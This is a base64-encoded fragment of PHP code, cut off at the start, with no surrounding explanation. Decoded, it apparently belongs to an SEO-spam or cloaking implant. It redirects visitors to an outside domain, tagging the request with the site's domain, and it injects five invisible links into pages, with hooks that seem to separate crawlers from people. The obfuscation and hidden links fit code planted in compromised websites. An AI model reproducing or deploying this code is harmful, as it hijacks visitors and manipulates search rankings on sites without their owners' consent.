ZXBsYWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJCWhlYWRlcignTG9jYXRpb246IGh0dHA6 Ly9udC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4kZG9tYWluKTsKCQkJZXhpdDsKCQl9Cgl9CgkK CXB1YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25faG9vaygpewoJCSRhcnJheSA9IGFycmF5KCk7 CgkJZm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNobyAnPGEgaHJlZj0iJy5BcHBfR2V0TGluaygp LiciPjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBfdW5TcGlkZXJfaG9vaygp ewoJCS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJTdGFydFdpdGgoJG5lZWRsZSwgJGhheXN0 YWNrKXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5c3RhY2ssIDAsIHN0cmxlbigkbmVlZGxlKSk9 PSRuZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7 IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRl bmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCg==